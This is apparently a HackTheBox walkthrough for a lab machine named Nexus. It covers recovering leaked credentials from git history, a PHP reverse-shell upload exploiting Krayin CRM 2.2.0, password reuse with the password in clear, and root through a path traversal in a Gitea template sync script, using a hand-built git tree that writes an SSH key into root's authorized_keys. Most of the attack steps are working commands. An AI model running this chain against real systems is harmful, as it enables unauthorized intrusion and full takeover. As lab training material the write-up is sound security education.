Nexus writeup & walkthrough
Nexus on HackTheBox: leaked .env in Gitea history, authenticated file upload RCE in Krayin CRM 2.2.0 (CVE-2026-38526), password reuse to jones, and root via a path traversal in a Gitea template sync timer.
Vhost fuzzing turns up a Gitea and a Krayin CRM. An old commit still carries the .env that was later scrubbed, which gets you into the CRM, and Krayin 2.2.0 lets an authenticated user upload a .php through the TinyMCE media endpoint. The database password out of that same .env is reused for the jones account, and root falls out of a systemd timer that syncs Gitea template repos by writing whatever paths git ls-tree reports, without checking them for ...
Enumeration
nmap -Pn -sCV -p- $IP -vv -oN nmap_full -T4 --min-rate 2000 --max-retries 20 --open
22 and 80. The web root redirects to nexus.htb, so put that in hosts first and fuzz for vhosts off it:
echo "$IP nexus.htb" | sudo tee -a /etc/hosts
wfuzz -c -u http://nexus.htb -H "Host: FUZZ.nexus.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hc 404 --hh <size-of-the-wildcard-response>
Set --hh to whatever a junk subdomain returns, otherwise every word matches and the run is useless. Two names come back:
echo "$IP git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts
The .env in git history
git.nexus.htb is a Gitea instance and the repo list is readable without logging in. admin/krayin-docker-setup is the interesting one, it is the deployment setup for the CRM on the other vhost. The .env in the current tree has been emptied out, which is exactly the reason to read the history instead of the checkout:
git clone http://git.nexus.htb/admin/krayin-docker-setup.git
cd krayin-docker-setup
git log --oneline
git log -p -- .env
The commit that "removed credentials" still contains them in the diff. That gives the CRM admin login and DB_PASSWORD. Keep the database password, it comes back for the user step.
<placeholder: paste the .env diff here, the admin email/password and DB_PASSWORD lines>
Foothold, Krayin 2.2.0 upload
billing.nexus.htb is Krayin CRM. Log in with the pair from the diff and the dashboard prints the version, 2.2.0. That version is vulnerable to CVE-2026-38526: the TinyMCE media upload endpoint takes the file without validating the extension or the content, so anything the web server will execute is fair game.
Go to Mail, Inbox, Compose Email, and click the image button in the editor. Pick any real image so the request is well formed, and catch it in Burp on the way out. In the intercepted request change two things and nothing else:
- the
filenamein theContent-Dispositionheader,image.pngbecomesshell.php - the body of that part, swap the image bytes for a PHP reverse shell (the pentestmonkey one off revshells.com is fine)
Leave the part name, the boundaries and the trailing Content-Type alone. If you rebuild the multipart body by hand it is easy to drop the final boundary and get a 500 back, which reads like the filter caught you when it did not.
Start the listener before you forward the request:
penelope 4444
The response gives back the stored path. Request it and the shell lands as the web user:
curl http://billing.nexus.htb/<upload-path>/shell.php
<placeholder: the exact storage path Krayin returns for the upload>
User
Same file, but now on disk, and this one is the live config rather than a scrubbed commit:
cat /var/www/html/.env
DB_PASSWORD matches what the old commit showed. Check who can actually log in:
grep -E 'sh$' /etc/passwd
jones is there, and the database password is reused for the account:
su jones
y27xb3ha!!74GbR
Root, the template sync timer
Look at what is on a schedule:
systemctl list-timers --all
NEXT LEFT UNIT ACTIVATES
Wed 2026-06-24 16:15:30 28s gitea-template-sync.timer gitea-template-sync.service
Every 60 seconds, and the service runs as root:
systemctl cat gitea-template-sync.timer gitea-template-sync.service
cat /etc/gitea/template-sync.py
The script pulls every repo flagged as a template, then walks the tree of each one:
result = subprocess.run(['git', 'ls-tree', '-r', 'HEAD'], cwd=bare_path, capture_output=True, text=True)
for line in result.stdout.strip().split('\n'):
meta, filepath = line.split('\t', 1)
target = os.path.join(stage_path, filepath)
...
with open(target, 'wb') as f:
f.write(result.stdout)
filepath comes straight out of the tree and goes into os.path.join with no checking, so a path that starts with .. walks back out of the staging directory and the write still happens as root. Staging is /home/git/template-staging/<owner>/<repo>, which is five levels below /, so five ../ puts you at the filesystem root:
python3 -c "import os;print(os.path.normpath(os.path.join('/home/git/template-staging/jones/rce','../../../../../root/.ssh/authorized_keys')))"
/root/.ssh/authorized_keys
The catch is getting that path into a tree in the first place. Git refuses it through the normal routes, git add ../x does nothing useful and the index rejects it outright:
git update-index --add --cacheinfo 100644,$blob,../../root/.ssh/authorized_keys
error: Invalid path '../../root/.ssh/authorized_keys'
fatal: git update-index: --cacheinfo cannot add ../../root/.ssh/authorized_keys
git mktree does not apply that check, so build the tree by hand one level at a time and hand it an entry literally named ...
Key first. -N "" sets an empty passphrase without prompting, and you want both halves of that: the prompt would hang a non-tty shell, and a passphrase would mean ssh -i asks for one later.
ssh-keygen -t ed25519 -f /tmp/strikoder -N ""
Get an API token as jones, then a repo, then flag it as a template, since the script only picks up templates:
TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/users/jones/tokens -H 'Content-Type: application/json' -u 'jones:y27xb3ha!!74GbR' -d '{"name":"exploit","scopes":["write:repository"]}' | grep -oP '"sha1":"\K[^"]+')
curl -s -X POST http://localhost:3000/api/v1/user/repos -H "Authorization: token $TOKEN" -H 'Content-Type: application/json' -d '{"name":"rce","private":false}'
curl -s -X PATCH http://localhost:3000/api/v1/repos/jones/rce -H "Authorization: token $TOKEN" -H 'Content-Type: application/json' -d '{"template":true}'
Now the tree. Innermost first, then wrap it in five .. levels:
mkdir -p /tmp/rce && cd /tmp/rce && git init -q
blob=$(git hash-object -w /tmp/strikoder.pub)
tree=$(printf '100644 blob %s\tauthorized_keys\n' "$blob" | git mktree)
tree=$(printf '040000 tree %s\t.ssh\n' "$tree" | git mktree)
tree=$(printf '040000 tree %s\troot\n' "$tree" | git mktree)
for i in 1 2 3 4 5; do tree=$(printf '040000 tree %s\t..\n' "$tree" | git mktree); done
commit=$(git commit-tree "$tree" -m sync) && git update-ref refs/heads/main "$commit"
Check it before pushing, this is the exact line the script will parse:
git ls-tree -r main
100644 blob 3c7a008121b5b48d5837fe3edc6c8f852a309855 ../../../../../root/.ssh/authorized_keys
git remote add origin http://jones:$TOKEN@localhost:3000/jones/rce.git && git push -u origin main
If the push comes back refused with a badName complaint then the server has receive.fsckObjects on and it is rejecting the .. entry, which is the one thing that stops this. It is off here.
Wait for the timer and watch it do the work:
tail -f /var/log/template-sync.log
synced: ../../../../../root/.ssh/authorized_keys
ssh -i /tmp/strikoder -o StrictHostKeyChecking=no root@nexus.htb